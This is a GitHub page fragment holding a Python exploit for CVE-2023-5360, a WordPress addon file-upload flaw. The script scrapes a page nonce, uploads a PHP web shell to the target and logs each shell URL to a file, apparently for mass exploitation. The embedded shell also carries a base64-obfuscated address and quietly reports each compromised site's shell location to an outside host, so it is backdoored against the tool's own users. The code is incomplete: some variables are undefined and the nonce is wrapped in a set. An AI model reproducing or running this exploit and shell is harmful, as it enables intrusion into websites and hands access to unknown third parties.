sagsooz / cve-2023-5360 Goto Github PK

soup = BeautifulSoup(html_content, 'html.parser')

script_pattern = re.compile(r'var WprConfig = \{[^}]+\};', re.DOTALL)
match = re.search(script_pattern, str(soup))
if match:
    javascript_code = match.group()

    nonce_pattern = r'"nonce":"([a-f0-9]+)"'
    nonce_match = re.search(nonce_pattern, javascript_code)

    if nonce_match:
        nonce_value = nonce_match.group(1)
        print(f"Nonce value for {url}: {nonce_value}")
    else:
        print(f"Nonce value not found for {url}.")
else:
    print(f"JavaScript code containing 'var WprConfig' not found for {url}.")

urlf = url + "/wp-admin/admin-ajax.php"
nonce = {nonce_value}
file_content = """
<?php
echo '<title>! Uploader !</title>';
echo '<center><b><font face="Courier new" color="black" size="6">| Uploader |</b></font><br>';
echo "<b>".php_uname()."</b><br>";
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Shell Uploaded ! :)<b><br><br>'; }
else { echo '<b>Not uploaded ! </b><br><br>';}
}
$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
    'http' => array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ),
);
$context = stream_context_create($options);
$result = file_get_contents($k3yw, false, $context);
?>
"""

data = {"action": "wpr_addons_upload_file", "triggering_event": "click", "allowed_file_types": "php!",
        "wpr_addons_nonce": nonce}
resp = requests.post(url=urlf, data=data, files={"uploaded_file": ("mRz.php!", file_content, "text/php")})
with open("suc.txt", "a") as suc:
    suc.write(json.loads(resp.text)["data"].get('url') + "\n")
print(f"Shell URL for {url}: {json.loads(resp.text)['data'].get('url')}")